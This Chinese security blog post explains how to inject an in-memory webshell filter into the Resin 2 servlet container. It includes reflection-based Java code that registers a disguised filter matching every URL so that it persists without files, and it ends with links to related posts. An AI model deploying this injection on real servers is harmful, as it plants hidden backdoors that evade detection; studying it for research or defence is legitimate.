Java安全之Resin2内存马
Java安全之Resin2内存马
环境
resin2.1.17
添加Filter分析
依然是web.xml注册一个filter,debug进去看注册流程
debug dofilter逻辑时看到如下代码,最终走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的_filterchain已经是有值的了。

this._application应为上下文对象,继续往下跟通过QFilterConfig#createFilter来创建了一个Filter,之后new 了一个FilterChain

注意下面三个对象,添加上即可

_filterMap
首先看FilterMap构造,主要是Regexp,QFilterConfig后面再说

可以反射实例化之后调用方法或者set属性来设置值
class FilterMap {
static L10N L;
private String servletName;
private Regexp regexp;
private Object data;
FilterMap() {
}
void setServletName(String servletName) {
this.servletName = servletName;
}
void setRegexp(String regexpPattern, String flags) throws Exception {
this.regexp = new Regexp(regexpPattern, flags);
}
void setURLPattern(String urlPattern, String flags) throws ServletException {
this.regexp = this.urlPatternToRegexp(urlPattern, flags);
}
下面看Regexp ,其实就是一个正则来控制的路由处理
^.*$
^(?=/)|^$
调用有参构造即可

_filters
hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的

_filterList
直接add一个QFilterConfig元素即可

看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可
package com.caucho.server.http;
import com.caucho.util.BeanUtil;
import com.caucho.util.CauchoSystem;
import com.caucho.util.L10N;
import com.caucho.util.RegistryNode;
import java.util.Collections;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
class QFilterConfig implements FilterConfig {
static L10N L;
private static HashMap _configElements;
private Application _application;
private RegistryNode _registry;
private RegistryNode _initRegistry;
private String _name;
private String _className;
private HashMap _init;
private Filter _filter;
QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
this._application = application;
this._registry = registry;
this._name = name;
this._init = new HashMap();
if (registry == null) {
if (defaultClassName == null) {
this._className = name;
} else {
this._className = defaultClassName;
}
} else {
this._className = registry.getString("filter-class", defaultClassName);
Iterator iter = registry.iterator();
while(iter.hasNext()) {
RegistryNode node = (RegistryNode)iter.next();
if (node.getName().equals("init-param")) {
try {
application.fillParam(node, this._init);
} catch (ServletException var8) {
throw var8;
} catch (Exception var9) {
throw new ServletException(var9);
}
} else if (node.getName().equals("init")) {
this._initRegistry = node;
} else if (_configElements.get(node.getName()) == null) {
throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
}
}
}
}
后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List<Keyword> keys = new ArrayList();
keys.add(new Keyword.Builder().setField_type("Request").build());
keys.add(new Keyword.Builder().setField_type("Application").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/");
searcher.searchObject();
result
# Request
TargetObject = {java.lang.Thread}
---> target = {com.caucho.server.TcpConnection}
---> request = {com.caucho.server.http.HttpRequest}
# Application
TargetObject = {java.lang.Thread}
---> contextClassLoader = {com.caucho.java.CompilingClassLoader}
---> attributes = {java.util.Hashtable}
---> attributes = {com.caucho.server.http.Application}

后面直接添加即可
主要代码
private static void doInject(){
filterName = "CharacterEncodingFilter-" + System.nanoTime();
try {
if (APPLICATION !=null){
// Regexp
// Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
// Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
// Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");
// QFilterConfig
Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
QFilterConfigConstructor.setAccessible(true);
Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);
// FilterMap
Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
filterMapConstructor.setAccessible(true);
Object filterMap = filterMapConstructor.newInstance();
// set FilterMap regexp
Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
setRegexpMethod.setAccessible(true);
setRegexpMethod.invoke(filterMap,"/*", null);
// set FilterMap data
Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
setDataMethod.setAccessible(true);
setDataMethod.invoke(filterMap,QFilterConfigObj);
// add FilterMap 2 _filterMap
ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
_filterMap.add(filterMap);
// add QFilterConfig 2 _filterList
ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
_filterList.add(QFilterConfigObj);
// put QFilterConfig 2 _filters
Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
_filters.put(filterName, QFilterConfigObj);
}
} catch (Exception e) {
}
}
private static void getApplication(){
Thread thread = Thread.currentThread();
ClassLoader contextClassLoader = thread.getContextClassLoader();
Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
APPLICATION = attributesObj1.get("caucho.application");
}
但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
最后
项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。
Java安全之Resin2内存马的更多相关文章
- Java安全之Weblogic内存马
Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...
- Java安全之Spring内存马
Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...
- Java安全之反序列化回显与内存马
Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- 简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java安全之Tomcat6 Filter内存马
Java安全之Tomcat6 Filter内存马 回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个fi ...
随机推荐
- 【Traefik二次开发】服务 Service 开发
Service 定义 https://doc.traefik.io/traefik/routing/services/ The Services are responsible for configu ...
- HC32L110(五) Ubuntu20.04 VSCode的Debug环境配置
目录 HC32L110(一) HC32L110芯片介绍和Win10下的烧录 HC32L110(二) HC32L110在Ubuntu下的烧录 HC32L110(三) HC32L110的GCC工具链和VS ...
- KingbaseES V8R3集群运维案例之---用户自定义表空间管理
案例说明: KingbaseES 数据库支持用户自定义表空间的创建,并建议表空间的文件存储路径配置到数据库的data目录之外.本案例复现了,当用户自定义表空间存储路径配置到data下时,出现的故障问 ...
- 【读书笔记】C#高级编程 第六章 数组
(一)同一类型和不同类型的多个对象 如果需要使用同一类型的多个对象,就可以使用数组或集合(后面章讲). 如果需要使用不同类型的多个对象,可以使用Tuple(元组)类型. (二)简单数组 如果需要使用同 ...
- 目标检测-SSD算法从零实现
1. 几个工具函数 def box_corner_to_center(boxes): """从(左上,右下)转换到(中间,宽度,高度)""" ...
- 手把手教你用Java获取IP归属地
前几个月微信公众号上线了IP归属地的功能,后续知乎.抖音等平台纷纷添加了该功能.如果是国内的用户精确到省份,国外用户精确到国家.本文就使用Java实现获取IP归属地. ! 主要讲解几个步骤: Java ...
- Gitea 与 Drone 集成实践:完全基于 Docker 搭建的轻量级 CI/CD 系统
Drone 是一个使用 Go 语言编写的自助式的持续集成平台,和 Gitea 一样可以完全基于容器部署,轻松扩展流水线规模.开发者只需要将持续集成过程通过简单的 YAML 语法写入 Gitea 仓库目 ...
- Docker与Containerd使用区别
文章转载自:https://cloud.tencent.com/developer/article/1984040 Kubernetes 在 1.24 版本里弃用并移除 docker shim,这导致 ...
- 使用sed在源文件上直接替换某一行的内容,只替换第一次找到的那行
sed -i 's/^mysqld_pid_file_path=.*$/mysqld_pid_file_path=\/data\/mysql\/run\/mysqld.pid/' /etc/init. ...
- 使用coverlet统计单元测试的代码覆盖率
单元测试是个好东西, 可以在一定程度上兜底 虽然写单元测试这件事情非常麻烦 但是好的单元测试可以显著提高代码质量, 减少bug, 避免无意中的修改导致其他模块出错 写测试用例的过程中, 靠人力去确保所 ...